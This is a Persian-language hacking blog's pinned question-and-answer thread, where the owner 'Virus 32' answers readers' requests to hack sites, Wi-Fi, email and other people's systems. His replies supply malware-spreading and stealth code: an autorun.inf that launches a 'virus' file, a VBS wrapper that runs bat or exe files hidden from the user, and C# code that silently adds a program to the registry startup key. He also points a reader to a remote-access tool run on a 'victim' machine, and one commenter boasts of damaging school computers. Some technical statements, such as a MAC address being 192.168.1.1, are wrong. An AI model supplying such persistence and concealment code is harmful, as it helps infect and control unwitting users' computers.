پرسش و پاسخ :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
سلام امیدوارم همگی خوب و خوش و خرم و سر حال و هرچی خوبی باشه باشین :)
اگه دقت کرده باشین بعضی از پست هامون زیرش کلی سوال و جواب و حرفای نامربوط به موضوع پست زده شده
خوب دوستان حرف دارن میخوان بگن نمیشه جلوشو گرفت
این پست رو ایجاد میکنم تا سوالای جدیدمون رو اینجا مطرح کنیم
اگه عمری باشه برای سوال تون پست جدید مینویسم و اگه مُردم هم میگم دوستان خوبم در مدیریت براتون بنویسن :)
این پست رو پین میکنم تا همیشه در دسترس باشه
سوالات خصوصی در هیج جای این وب پاسخ داده نمیشن


نظر (۷۸۷)

سلام ویروس
ویروس میخواستم راجع به کد های پاپ آپ یکم توضیح بدین
اینکه چجوری و کجا بزاریم؟؟
Virus 32 :
این پست رو بخون
سلام
میشه کرک پسورد وای فای رو بزارید؟
Virus 32 :
بزودی

قرار داده شد
اینجا و اینجا

سلام استاد در مورد هک سایت آپاراتی چیزی بزار تا قشنگ آشنا شیم در ضمن استاد بدون برنامه باشه مثلا من بدون برنامه یه سایت خارجی رو هک کنم
Virus 32 :
سایت آپاراتی؟ !!!

باشه سهند جان سعی میکنم پست بعدی "هک سایت بدون نرم افزار" باشه
داش من یه کد میخوام برا انتقال ادرس سایت به یه سایت دیگه. اگه بزاری ممنون میشم :)
Virus 32 :
این پست رو بخون
هک کانال آپارات رو آموزش بدید با تشکر دوستون دارم
Virus 32 :
سایت های ایرانی خلاف قوانینه دوست من
نفوذ به سیستم دادا.
داداش حذف تبلیغات رو میشه بگی؟
Virus 32 :
برای غیر فعال کردن پاپ آپ ها روش ها و افزونه های زیادی وجود داره
ولی در اینجا افزونه ی مورد علاقه ی خودم رو معرفی میکنم که فقط یکی از کارهاش جلوگیری از استارت شدن جاوا اسکریپت ها یا به زبان ساده جلوگیری از تبلیغات اضافیه.

مثل همیشه بسیار عالی داداش لایـــــــــــــــــــــــــــــــــــــــک
سلام داداش.استاد میخواستم بگم یه کدی میتونی بدی توعمومی چتروم ها وقتی میدی صفحه مورد نظرتوبازکنه؟یا مثلا یه کدعکس باشه روش کلیک کنی به صفحه مورد نظرواردبشی؟
slm
mikhastam amozesh diface site ro bezarid, tanx
سلام ویروس 32
میخواستم ببینم کدی هست که وقتی روی فایلی با پسوند (bat. یا vbs.) کلیک میکنی این برنامه بصورت خودکار توی استارتاپ ویندوز کپی بشه...میخوام این کد را با کد های دیگه مخلوط کنم تا وقتی روی فایل مورد نظر کلیک کیکنی توی استارتاپ کامپیوتر کپی بشه...
مرسیس از وبلاگ خوبت...من هر وقت به مشکلی بر میخورم اولین گزینه تو ذهنم virus 32
Virus 32 :
برای کپی کردن یه فایل در بت از دستور زیر کمک میگیریم
COPY "C:\esme file.bat" "C:\adress"
بجای Adres آدرس استارت آپ سیستم رو باید بنویسی که تو اکس پی و هفت و هشت و بقیه مختلفه
ولی میشه با اضافه کردن یه اتوران به فایلمون کاری کنیم که اون خود به خود به محض وصل شدن به سیستم و یا اجرا شدن سیستم برنامه هم اجرا بشه
[Autorun]
Open=esme file.bat
Label= C:\
Icon=esme file.ico,2
دستورات بالا رو با فرمت inf ذخیره کن کنار فایل ویروست قرار بده همیشه و اینکه بهتره هیدنش کنی
هک سایت بزیرین ممنون می شم اگرم تونستی نفوز به سیستم
سلام
میخواستم اگه ممکنه یه راهنمایی بکنید :
میشه با cmd حرکتی زد که مودم طی باز بودن cmd رو dhcp ست شه ؟
و رنجش هم باز باشه ؟
اگه میشه لطف کنید دستورش رو (بدون توضیح یا با توضیح) بگید .
ممنون
Virus 32 :
سلام
سوال اول :
میشه با cmd روتر رو برای dhcp ست کرد؟ اگه منظورت اینه که آره
دستورات زیر رو یکی یکی وارد کن
Netsh
DHCP
trace enable
برای غیر فعال کردنش هم
trace disable
سوال دوم رو متوجه نشدم
رنجش باز باشه؟ اینجا رنج ها از یک تا 255 فعال هست نیازی به رنج خاصی نداریم که O_o
اگه کار خاصی داری انجام میدی بیشتر توضیح بده
ببخشید یه سوال دیگه بپرسم این یکیو اگه حسشو داشتی جواب بده :
چجوری باید بدون دستکاری فایل host وب بلاکر نوشت (با دیتابیس) .
یا پاپ آپ بلاکر و یا اد بلاکر .
میدونم که بالایی هر کدوم یه مقوله ی جدائه اما خب اینجوری نوشتم به امید اینکه شاید به هر 3 تاش جواب بدید .
مرسی :)
Virus 32 :
اینو باید بگم نمیدونم :)
  • Virus32
  • متین اصفهانی
  • سلام داداش اون ویروسایی که تو نوت پد ساختی رو بهمون برنامه ریزیششجو اگه میشه یاد بده تا خودمونم بنویسیمش
    Virus 32 :
    سلام فکر خوبیه بزودی شروع میکنم
    salam dadash man mikham ye page too instagram besazam

    virus_32

    bad amoozeshaye injaro too in page bezaram


    ham por tarafdar mishe hamam vasat tabligh mishe taze chand nafaram mishnasam mitoonan shatemoon konan
    hamoon tabligh

    age mayeli ba e_mail dar ertebat bashim
    Virus 32 :
    سلام
    دوست عزیز من فقط در این وبلاگ مطلب میزارم
    لطفا به اسم من جایی عضو نشین
  • Virus32
  • متین اصفهانی
  • سلام داداش عاشقتم خیلی ممنون که درخواستمو قبول کردی همون روز اولی که وبتو دیدم همشو یاد گرفتم یه وبسایت خارجی رو هک کردم رمز وای فای همسایرو بدست اوردم سیستمای مدرسمونم داغون شد البته من نمیخواستم همرو داغون کنم ولی احمقا همه ی هاردارو با شبکه به هم وصل کرده بودن خخخ واقعا ممنون راستی شما چند ساله هک و اینجور چیزارو شروع کردی ؟؟؟
    سلام ویرس جان
    داداش معذرت
    من اون قسمتی که گفتی بایدیه اتوران برا فایلمون بسازیم (فرمت فایلم وی بی اسه)رو نفهمیدم میشه یه مثال جامع بزنی
    Virus 32 :
    سلام
    یه نوت پد جدید بساز
    توش کدهایی که اون بالا نوشتم رو کپی کن و اسم و فرمت رو تغییر بده
    مهم نیست اسم و فرمت چی باشه مثلا اگه بخوام برای یه ویروسی به اسم dec.exe اوتوران درست کنم میشه
    [Autorun]
    Open=dec.exe
    Label= C:\
    Icon=dec.ico,2
    که فایل تکست رو باید با فرمت inf ذخیره کنی
    ببخشید من چجوری به یه دیفیس ویدیو بذارم؟
    با کدوم تگ و خودتون مثالشو بزنید
    Virus 32 :
    برای قرار دادن ویدئو در دیفیس از تکه کد زیر استفاده میکنم
    <video width="620" height="540" controls>
    <source src="link.mp4" type="video/mp4">
    </video>

    در خط اول تگ ویدئو و اندازه (طول و عرض) رو مشخص میکنیم و در خط دوم هم بجای link.mp4 لینک مستقیم ویدئو رو قرار میدیم
    میتونیم در هر جای کدهامون قرارش بدیم
    اینجا رو بخون دوباره آپدیتش کردم  بازم مشکلی داشتی لینک مستقیم کلیپت و صفحه دیفیس مورد نظرت رو قرار بده
    نه چیزی نیست ک بخوام رمز بزارم....یه وب خیلی ساده هست....ولی میخوام با یک کلیک قبلیا عدم نمایش بخوره..ویه پست خداحافظی بزارم...
    Virus 32 :
    بجای این کارها میتونی یه صفحه دیفیس قرار بدی روش و متن خدافظی رو بنویسی
    به نظر من خیلی جالب تر هم میشه ;)
    اینجا رو ببین مثل این
    ممنونم
    ولی بلد نیسم ک بزارم...چیز جالب هسیت
    Virus 32 :
    خوب من بهت یاد میدم :)
    اینجا رو بخون
    بعد اینجا رو بخون مشکلی داشتی همونجا ها بپرس ;)
    خیلی ممنونم از زحماتتون آقا ویروس واقعا زحمت میکشین خیلی تشکر میکنم انشاالله موق و موید بشی خدا کنه به بالاتر از اینجاها هم دست یابی
  • Virus32
  • کاویان ربانی
  • داداش این traceenable ی که گفتی کد vbs یا bat ش چجوریه ؟
    بعد یه سوال خیلی حیاتی دارم .
    چجوری میشه کد بت رو سایلنت اجرا کرد تا کاربر اصلا نبینه . بعضی مواقع چشمک میزنه یعنی باز و بسته میشه میخوام اون رو هم کاریر نبینه .
    سوال بعدی دقیقا عین بالاییه منتهی با این تفاوت که این دفعه در مورد یه exe س. یه کدی زد که برنامه خودمون سی ام دی رو باز کنه بعد از طریق اون exe هرو هم باز کنه و کل این فرایند سایلنت باشه .
    ممنونم داداش
    خیلی لطف می کنی جواب میدی
    Virus 32 :
    سلام
    سوال هایی که میپرسین یه رمان جوابشون میشه همیشه :)
    اولی :
    @echo off
    CLS Netsh
    CLS DHCP
    CLS trace enable
    Pause
    که اگه Pause رو از خط آخر پاک کنی موقع اجرا ، سی ام دی رو هم نشون نمیده (اونو نوشتم خودت ببینی اخطاری نداشته باشه بعد پاکش کنی)
    سوال دوم :
    خودم همیشه ابتدا یه vbs برای مخفی کردن برنامه ها درست میکردم (یجور مخفی گاه) بعد برنامه های bat یا exe رو با اون فراخوانی میکردم
    اگه بتونی این روش رو به درستی انجام بدی تقریبا یه شاهکار در نوع خودشه چون از تسک منیجر هم غیر فعال کردنش سخت میشه :)
    کدهای vbs
    CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
    کدهای بالا رو با نام  makhfi.vbs ذخیره میکنیم
    حالا فرض کن یه برنامه ی bat با نام V32.bat رو میخواییم مخفی اجراش کنیم
    به خط اول این ویروسمون یعنی v32.bat کد زیر رو اضافه میکنیم
    wscript.exe "C:\makhfi.vbs" "C:\V32.bat"
    میتونیم بجای V32.bat هر برنامه ی دیگه ای رو هم بنویسیم مثلا V32.exe یا ...
    اگه با سی شارپ آشنایی داری میتونیم از کدهای زیر برای اجرای مخفی برنامه مون کمک بگیریم
    که برنامه بطور اتوماتیک و پنهان وارد استارت آپ میشه
    RegistryKey registryKey = Registry.CurrentUser.OpenSubKey
    ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
    registryKey.SetValue("Namebarname", Application.ExecutablePath);
    که در کدهای بالا کلید ریجستری از مسیر زیر استخراج شده
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    ویروس و کیلاگر نویسی به زبان سی شارپ رو بعدا مفصل کار میکنیم باهم :)
    امیدوارم مفید بوده باشه
    سلام ویروس جان
    داداش یه سایت بلدی که بتونم ازش تراوا let me rule v2.0 beta8.0 رو دان کنم
    (البته رایگان) بزار دمت گرم
    خیلی تراوا شو لازم دارم...اگه خودت داری آپلود کن بیزحمت برام بتونم دان کنم

    من هرچی گشتم نتونستم پیدا کنم
    Virus 32 :
    سلام عزیز
    از اینجا میتونی دانلودش کنی
    سلام دوباره
    ویروس جان
    نمیشه دان کرد...خودت یه نگا بنداز بهش ببین میشه یا نه
    من رو هر چی میزنم همون صفحه تکون نمیخوره دانلود هم نمیشه
    سلام دوباره
    ویروس جان
    نمیشه دان کرد...خودت یه نگا بنداز بهش ببین میشه یا نه
    من رو هر چی میزنم همون صفحه تکون نمیخوره دانلود هم نمیشه
  • Virus32
  • کاویان ربانی
  • سلام ویروس جان
    ممنون که هر دفعه وقت میذای و جواب میدی .
    این وی بی اسی که دادی کار نکرد دادا . یعنی باز و بسته میشه (چشمک زن).
    کاریش نمیشه کرد ؟
    بعد راهی نداره که از تو خود همون وی بی اس برنامه رو فراخوانی کرد ؟
    مرسی
    Virus 32 :
    راستش من این فایل ها رو نمیتونم در اون حد مخفی کنم حداقل یدونه چشمک رو باید بزنن ;)
    ولی برنامه های exe مثل سی شارپ رو میشه کاریش کرد (همون کاری که اون بالا گفتم و چند تا کد دیگه )
    برای سوال دومت اینجا رو بخون قسمت 4 و 5 به دردت میخورن
    دستت درد نکنه ویروس جان من منتظرم تو صفحه اصلی
    پیامک زد شبی لیلی به مجنون
    که هر وقت آمدی از خانه بیرون
    بیاور مدرک تحصیلی ات را
    گواهی نامه ی پی اچ دی ات را
    پدر باید ببیند دکترایت
    زمانه بد شده جانم فدایت
    دعا کن …
    دعا کن مدرکت جعلی نباشد
    زدانشگاه هاوایی نباشد
    وگرنه وای بر احوالت ای مرد
    که بابایم بگیرد حالت ای مرد
    چو مجنون این پیامک خواند وارفت
    به سوی دشت و صحرا کله پا رفت
    اس ام اس زد ز آنجا سوی لیلی
    که می خواهم تورا قد تریلی
    دلم در دام عشقت بی قرار است
    ولیکن مدرکم بی اعتبار است
    شده از فاکسفورد این دکترا فاکس
    مقصر است در این ماجرا فاکس
    چه سنگین است بار این جدایی
    امان از دست این مدرک گرایی

    کپی آزاد
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام
    میخوام یه سایت خیلی خیلی ساده رو هک کنم ولی نمی تونم. میدونم که شما به آسونی هکش منی اگه میشه یا آموزشش رو بذار یا هکش کن و یوزرو پسوردش رو به من بده . خیلی خیلی ممنون میشم.
    آدرس سایتی که میخوام هک کنم اینه :

    **********************************************************


    عاشق خودت تو بلاگت شدم.همین امروز اینجا رو پیدا کردم ولی فک کنم حداقل 20 ، 30 بار سرزدم.
    Virus 32 :
    سلام دوست عزیز
    هک سایت های ایرانی خلاف قوانینه
    این سایت ایرانی هست هیچ یه سایت دولتی هم هستش :)
    و اینکه من هیچوقت تحت هیچ شرایطی برای کسی هک نمیکنم :) فقط آموزش میدم
    داداش دمت گرم مشکل حل شد
    مشکل تو disable java بود که حل شد ممنون

    اگه سوال در مورد let me rule داشتم ازت میپرسم
    هر وقت به مشکلی بر میخورم اولین گزینه تو ذهنم
    حل کردن مشکل بعد virus 32
    با سلام مجدد
    ویروس من فایل رو دانلود کردم ولی این یه چیز دیگس...اصلا let me rule نیست
    این فایل فایلی به نام your file downloader است
    عکساشو براتون با جمیل میفرستم

    HELP ME PLZ...
    Virus 32 :
    همون فایل رو اجرا کن برنامه رو دانلود میکنه
    امیدوارم کار باهاش رو بلد باشی
    بعد از دانلود احتمالا یه فایل به اسم Game.exe و یا Uncom.exe و یا cool.exe روی دسکتاپت دیده میشه
    که باید یکیش رو تو سیستم قربانی و دیگری رو تو سیستم خودت اجراش کنی و....
    زیاد به این برنامه ها دل نبند محمد جان
    همونطور که قبلا هم گفتم هیچ هکری در راه خدا برنامه هاشو عمومی نمیکنه !!!
    ببخشید ویروس امروز خیلی به زحمت افتادی
    از راهنماییات متشکرم
    سلام ویروس جان
    میخواستم خواهش کنم اگه میشه آموزش رمز گذاشتن برای مطالب وبلاگ رو هم بزارید
    مرسی
    mohammadatmel
    Virus 32 :
    سلام داداش
    هر سرویس دهنده ای این امکان رو به نویسنده میده تا برای مطالبش رمز بزاره لازم به کار خاصی نیست که
    تو کدوم سرویس دهنده نمیتونی رمز بزاری؟ بلاگفا؟ لوکس بلاگ؟ یا ....
    mohammadatmel
    سلام ویروس جان میخواستم بگم میشه روش هک از طریق telnet و پورت 445
    و نرم افزارای کمکی این بحث رو بزاری
    مطمینم طرفدار زیاد داره
    البته سطح متوسط دادا
    من یه چیزایی بلدم
    Virus 32 :
    سلام محمد جان
    برای تلنت بیشتر از پورت 23 استفاده میشه
    اینجا رو بخون فعال کردن تلنت و برنامه کمکی شو هم توضیح دادم
    nv lسلام
    در مورد ترفند عوض کردن رنج آی پی میخواستم ازتون رانمهایی بگیرم
    سلام ویروس
    میشه بگی کجا میشه به سایتت امتیاز داد؟؟؟؟؟
    سلام دادا
    من تو بیان عضوم کجا میشه امتیاز داد؟؟؟
    سلام ویروس جان
    راستی اون کنفرانس(http://virus32.blog.ir/post/Meeting) چیه؟چرا رمز رو یزنم نمیره توش!!!!!!!!!
    Virus 32 :
    سلام
    چیز خاصی نیست محمد جان یسری چرت و پرت برای اعضای بی بخارمونه :)
    قوانین و اخبار و حرفای چرت و پرت
    رمز اونجا رو نمیتونم به کسی بدم :(
    سلام ویروس
    دادا یه پست باحال بزار دیگ،هرروز میام چک میکنم دلم میگیره...
    slm dada age mishe amoozesh hack blogfa va rozblog ro yad bedin mer30 :D
    سلام برنامه هک وای فای رو حالت todas بیشتر وای فای هارو پیدا نمیکنه باید چه کار منم من مودم خودمو زدم پیدا نکرد لطفا جوابو به ایمیلم بفرستید بی زحمت
    سلام من درخواست یه آموزش داشتم که چطور میشه تو یه انجمن که برای پست گذاشتن محدودی یعنی روزی 5 تا پست بیشتر اجازه نمیده بذاری
    پست بیشتری بذارم.؟تشکر
    یه خواهش دیگه
    چطور میشه برای گذاشتن پست تو انجمن منتظر تایید مدیر نباشم چون کاربر جدیدم در حالی که با اکانت قبلیم بدون تایید میتونم پست بذارم
    سلام داداش خوبی؟
    میخواستم درمورد هک وبلاگ و سایت توضیح و آموزش مفصل بدی که راحت بتونم هک کنم و بتونم رمز وایفای روهک کنم
    راستی رمز مطالب رو نفرستادی هنوزا !!!!
    Virus 32 :
    سلام ممنون
    بیشتر این آموزش ها وجود دارن
    رمز مطالب براتون ارسال شده
    سلام دوسی!! هرکدوم از برنامه هر رو از وب لاگت میگیرمو نصب میکنم ارور بد ایمیج میده!!!!!!! ویندوزم سون هست!!! راهنمایی کن لطفا!! مثلا خطاهایی رو که موقع نصب برنامه هات ممکن هست بده رو با راه حلش بزار !!! نه امر دیگه ای ندارم!!!!!!!!!!! کمک کن تا شعر ویروس چقد قشنگه! ماشالا ماشالا بهش بگین رو واست بخونم!!خخخخخ
    Virus 32 :
    سلام عزیز
    اگه متن اروری که میده رو بهم نشون بدی حتما کمکت میکنم
    احتمال زیاد میدم که مشکل از نت فراموورکرتون باشه.
    خیلی از نرم افزار ها در صورت قدیمی بودن این برنامه اجرا نمیشن
    کامنت های این پست رو بخونید اونجا هم یسری دوستان مشکل داشتن احتمالا مشکلتون اونجا حل میشه
    اگه نشد متن اخطار رو اینجا بنویس یا ازش عکس بگیر.
    راستی مرسی بخاطر شعرهای جالبت که هراز گاهی نثارمون میکنی :) خخخخخ
    سلام ویروس جان!! دیکه نیازی به راهنماییت ندارم خوم فهمیدم مشکل از کجاست!!
    .
    .
    .
    .
    .
    .
    . الکی مثلا من خیلی میفهمم!!!! خخخخخخ

    ولی بازم اشکال نداره او شعری رو که قول داده بودم واست میخونم!!
    دینگ دیرینگ دینگ دینگ دیرینگ! دینگ دیرینگ دین دین درینگ!!! جینگو جینگ ساز میاد از وبلاگ ویروس جون میاد!! شازده محمد غم مخور ویروس 32 با اموزشهای جدید میاد! یار مبارک بادا ایشالا مبارک بادا@@!! ای ویروس جون آی ویروس جون سایتت رو اپدیت بکن!!! بس که اینارو خونم هیچ کاری هم نکردم دهنم سرویس شد!!!خخخخخخخخخخخخخ



    Virus 32 :

    ای تو روحت چشم چشم آپدیتش میکنم :))
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    داداش میخواستم ببینم میتونی پسورد افرادی که تو یه سایت بازی عضو هستن رو هک کنی؟
    مثلا سایت **********.ir/ts3
    یه سایت بازیه
    اگه میشه یاد بده مرسی
    Virus 32 :
    راستش هیچوقت تو کار بازی نبودم
    سعی میکنم یه نگاه بهش بندازم اگه با روش هایی که بلدم بتونم هک کنم حتما اینجا آموزش میدم
    سلام دوسی!! هرکاری میکنم ای افزونه های fire fox نصب نمیشه راهنمایی لطفا!!! موقع اینستال ارور میده قبلا اینطوری نبود!!! کمک کن تا شعر : ای ویروس! ای خطرناک رو واست بخونم!!! چطوری میتونم راحت تر باهات ارتباط داشته باشم؟؟؟ یاهو میل هم ندارم خخخ!!!!!
    Virus 32 :
    سلام
    چه اروری میده؟ متن ارور رو نبینم که نمیتونم کمکت کنم!!!
    شاید افزونه ای که انتخاب میکنی با ورژن موزیلات سازگار نیست
    این وب سریع ترین راه ارتباط با منه !!!
    نه حال و حوصله ایمیل هارو دارم نه اس ام اس و گوشی و ...
  • Virus32
  • محمد جاویدی
  • سلام دوسی!@!
    ..
    ..
    ..
    ..


    .. الکی مثلا این عکس منه!!خخخخخ
    سلام
    ببخش نمیدون چرا چند وقت هست 2هفته نمیتون وبلاگهار و باز کنم وهی چرخ میخوره ولی باز نمیشن ....خیلی لازمشون دارم..
    dnsرو هم امشب عوض کردم...
    Virus 32 :
    سلام
    شاید بخاطر سرعت اینترت شماست
    و اینکه خیلی ها با وبلاگ های بلاگفا این مشکل رو داشتن که مدیر این سرویس دهنده گفته مشکل از مخابراته نه سایتش
    بجز بلاگفا چه وبلاگهایی رو نشون نمیده؟ اینجا آدرس یکی رو بزار یا بیشتر در مورد مشکلت توضیح بده
    سلام ی دوباره داداش منم مزاحم همیشگی ولت نمی کنم دیگه خخخخخخ داداش من یه عکس منحصر به فرد می خام می تونی داداش برام پیدا کنی می خام اموزش بدی چه طوری مثلا روس بنویسیم m.s
    مرسی داداش راستی داداش رمز کنفرانشو میدی به من
    رانستی داداش با چی دیف می سازی اگه برنامه داری ازش برام میفرستیخودم دادم ولی به درد نمی خوره
    خخخخخخخخخخخخ
    بای فعلا داداش می دونم خیلی پرو هستم ببخشا
    خخخخخخخخخ
    بای دیگه
    Virus 32 :
    سلام
    روی عکس نوشتن روش های مختلفی داره که باید نرم افزارهای ویرایش عکس داشته باشی. ساده ترین روش اینه که روی عکس کلیک راست کنی و گزینه Edit رو انتخاب کنی و با برنامه Paint که محیطی ساده داره این کار رو انجام بدی. برای اینکار بهتره قبلش فونت های زیادی رو دانلود کنی.
    در سطح حرفه ای تر با برنامه فتوشاپ میتونی جلوه های خیلی جالبی تولید کنی. به نظر من فتوشاپ برنامه ایه که باید روی هر سیستمی نصب باشه :)
    رمز کنفرانس رو به کسی نمیتونم بدم!
    من اوایل به کمک برنامه adobe dreamweaver cs دیفیس درست میکردم ولی الان با همین نوت پد خودمون درست میکنم.
    سوال کردن پر رویی نیست عزیز :)
    salam merc az site khobet . age mishe link yek ddoser good bezar ke ba vps bash kar konim yek vps ghdrati bashe merc yek fak page garena ham mikham age shod baram ok kon lotfan id yahoo manam add kon ty
    با سلام هک سایت و طرفند رو اموزش بدید بهتره
    با سلام
    داداش خواهشا میشه نفوذ به پنلو وقتی دسترسی به ناظر نداده رو اموزش بدی خیلی مهمه جون دادا امزش بده برام فدات
    ناظری دارم میخوام برم پنلش برام محدودیت نداده
    یه ترفند که بشه سرعت اینترنت یا سرعت idm بالا ببره بزارید
    ممنون
    Virus 32 :
    اینجا رو بخونید
    سلام دادا
    خوبی ؟؟؟
    وب باحالی داری دمت جیز
    نگا پسورد جیمیل چطوری هک کنم ؟؟؟
    خیل ضروریه
    دستت درد نکنه
    منتظرم
    سلام داداشی
    اگه میشه در مورد ساخت تروجان مطلب بذار...
    ممنون...
    Virus 32 :
    گذاشته شده
    هک سایت و وبلاگ میخواییم
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام اقا ویروس خسته نباشی
    یدونه ایی دور دونه ایی
    داش یکی اومده منو تهدید میکنه میگه که یه سایت باعرض معذرت *** میزنم و ایپی تورا میندازم رو اون وازاوونجایی که طرف تو سامانه همکاری مردمی فیلترینگ پنل داره گفت ازت شکایت میکنم که سایت .......زدی ودهنت راسرویس میکنم.
    میخواستم بپرسم میتونه کسی ایپی منو بندازه رو جایی که نه رفتم ونه ساختمش(منظورم همون سایته)
    اگه میتونه چیکارکنم که نتونه این کار را بکنه؟
    ممنون میشم بگی
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام داش خسته نباشی یدونه ایی دور دونه ایی
    داش یکی تهدیدم کرده یه سایت باعرض معذرت **** میزنم وتواونجا ایپی تورا میندازم روهاستش و ازاونجایی که پنل همکارافتخاری داره تو فیلترینگ شکایت میکنه واینطوری واسم شردرست میکنه.
    ایا میتوننه این کاروکنه یا نه؟
    اگه میتونه چیکارکنم که نتونه؟
    ممنون ام ازت بی نهایت
    Virus 32 :
    سلام حامد جان خیلی باحاله اون دوستت بچسب بهش ولش نکن
    نه داداش همچین چیزی اصلا ممکن نیست!!!
    آی پی مودم ها با آی پی سایت ها خیلی باهم فرق دارن
    و اینکه آی پی شما هر بار که مودم رو خاموش روشن میکنید عوض میشه
    و اگه این همکار فتا گزارش بده به مدیر سایت یعنی کسی که پست میزاره گیر میدن اونم از هر صد نفر به یه نفر
    بیشتر فقط سایت فیلتر میشه و میره پی کارش
    در آخر ... خیالت راحت باشه اگه خودت کار غیر قانونی نکنی کسی نمیتونه از نظر قانونی چنین پاپوشی برات درست کنه
    مردی ب مولا دمت گرم شاشیده بودم تو خودم میخواستم تخلیه پرت کنم واسم شر درست نکنن ;(
    Virus 32 :
    فدات ;)
    تو مجازی اینجور حرفارو اصلا باور نکن
    تا جایی که من میدونم اونی که میتونه بلایی سرت بیاره بدون هیچ حرفی کارشو انجام میده و اصلا نمیفهمی که از کی خوردی.
    هکرای واقعی شاید فقط یه اخطار کوچولو بهت بدن اونم از روی دلسوزی
    بیشتر اخطار دومی در کار نیست و اینکه هیچوقت نمیگن چیکار میخوان بکنن
    سلام داش ویروسم هک وبلاگ هر چیزی باشه بلاگفا رز بلاگ ویا هر چیز دیگه رو اگه میشه بزار
    میدونم خرج داره و تا پول لازم نداشته باشی نمیزاری و واست مهم نیستیم ما
    ولی این خواسته همه بازدید کنندگان هست
    بازم هر طور دوس داری و صلاح میدونی همیشه میگن صلاح خویش را خسروان دانند
    هک سایت رو طوری اموزش بده که بشه سایت های ایرانی رو هم هک کرد ولی مستقیم نگو که میشه ک یه موقع مشکلی واست درست نشه خدایی نکرده
    نفوذ به سیستم هم کلا عشق خودمه از قدیم تا الان
    اگه میشه خیلی واضح اموزش بده تصویری چون واسه یکی مثل من ک تازه کار هستم (البته هر کی میاد اینجا تازه کار هست اگه کسی بلد بود اینجا نمیومد به قول خودت ) یه خورده سخت و پیچیده هست برخی چیزا و اصطلاحات که میگی
    بازم ممنون از مطالب خوبت هیچ جایی به خوبی اینجا ندیدم حتی سایت اشیانه هک ک یک ساله عضوم و هیچی یاد نگرفتم و این همه تعریفش رو میکنن
    ایشالا همیشه موفق باشی در تمام مراحل زندگی و اون مشکی هم ک داری حل بشه و سایت بالا سر ما تازه کارا باشه
    Virus 32 :
    سلام عزیز
    ممنون امیدوارم تو هم همیشه موفق باشی...
    باور کنید این درخواست ها برای من گرون تموم میشه
    آخه سیستم های وبلاگ دهی ایرانی خاص هستن ، فقط مخصوص وبلاگ های ایرانیه و مشابه هیچ سیستم وبلاگ دهی خارجی نیست
    یعنی جوری نیستن که من بتونم بگم مثلا دارم هک سیستم وبلاگ دهی خارجی رو آموزش میدم.
    هک سایت های ایرانی خلاف قوانینه. مخصوصا برای من که پاپیچ زیاد دارم و چپ و راست دارن توبیخم میکنن.
    روش های هک سایت رو هم که دارم پله پله توضیح میدم.
    با این وجود قول میدم یکی دو روش برای هک وبلاگ های وورد پرس قرار بدم ... "بزودی" احتمالا همین فردا
    سلام داش
    اوکی مرسی
    راستی هک سیستم ک بتونیم وارد درایو ها هم بشیم و هر اطلاعاتی بخوایم رو برداریم رو هم اموزش بدی ممنون میشم
    Virus 32 :
    برای یاد گرفتن نفوذ به سیستم دیگران بهتره دو نفر باشید
    مثلا از دوستتون کمک بگیرید و بهش کمک کنید.
    تو سیستم دوستتون نفوذ کنید و بزارید اون هم به سیستم شما نفوذ کنه (البته نباید خرابکاری کنید)
    اگه بخوایید از صفر تو سیستم ناشناسی نفوذ کنید کار بسیار دشواری خواهد بود
    برای مثال با دوستتون تلنت کنید و یا این پست رو تست کنید
    salam

    ویروس جون چجوری میشه مک ادرسو عوض کرد و اگه عوض کنیم و با یه وای فای دیگه یه شیطونیایی بکنیم میتونن ردمونو بزنن یا نه ؟
    Virus 32 :
    سلام
    اول باید بگم مک آدرس آی پی هست که وقتی در یک شبکه باشید به دردتون میخوره
    به زبان ساده اگه چند تا سیستم داشته باشیم "مثل کافی نت ها یا گیم نت ها و یا اداره جات و..." و اگه بخواییم اینها رو بهم متصل کنیم از مک آدرس استفاده میکنیم. یعنی در کل مک آدرس ربطی به فعالیت های شما در دنیای مجازی اینترنت نداره.
    اگه در شبکه نباشید مک آدرستون بطور پیش فرض 192.168.1.1 یا 192.168.1.2 باید باشه.
    برای عوض کردن مک آدرس میتونی از این دستورات کمک بگیری.
    با هر مک آدرسی به وای فای کسی متصل بشی بازم کارهایی که انجام میدی ثبت میشه.
    dadash manam windows 8.1.1 nasb kardam yahoo massenger 11 rosh javab nemide yani alan yahoo ke update shode yahoo massenger 11 vase hishki kar nemi kone.bayad noskhe jadide yahoo massenger 12 ro nasb koni.
    az inja begir dash

    http://s6.picofile.com/file/8178768842/yahoo_massenger12.rar.html

    dadash khodam alan vasat uploadesh kardam

    Virus 32 :
    مرسی داداش
    سیستم عاملم لینوکسه اینا اصلا نصب نمیشن
    میام سایت یاهو
    سلام.اگر ایمیل وبلاگم را داشته باشم و سوال امنیتی و پسورد را فراموش کردم حالا چ کنم دادا؟ممنون.ایمیلی که ثبتنام کردم برای وبلاگ دامنش com بود ولی اون سرویس ایمیل هم دامنش را ب ir تغیر دا ده و ایمیل فراموشی رمز به com ارسال میشه؟):
    سلام.اگر ایمیل وبلاگم را داشته باشم و سوال امنیتی و پسورد را فراموش کردم حالا چ کنم دادا؟ممنون.ایمیلی که ثبتنام کردم برای وبلاگ دامنش com بود ولی اون سرویس ایمیل هم دامنش را ب ir تغیر دا ده و ایمیل فراموشی رمز به com ارسال میشه؟):
    Virus 32 :
    سلام
    کدوم سرویس دهنده ای این کار رو کرده؟
    بیشتر سایت ها و سرویس دهنده ها وقتی آدرسی رو تغییر میدن کاری میکنن تا آدرس های قدیمی که قبلا ارائه دادن فعال باشه و تداخل ایجاد نشه
    اگه مشکلت تا الان برطرف نشده بیشتر توضیح بده که وبلاگت از کدوم سرویس دهنده است و ایمیلت چی بوده؟
    دادا هک ایمیلو بزار خیلی نیازه اصن
    جیمیل هم بزاری واس خیلی خوبه
    تنکیو
    الکی مثلا من اینگلیسی بلدم :)
    Virus 32 :
    ;)
    عوکی
  • Virus32
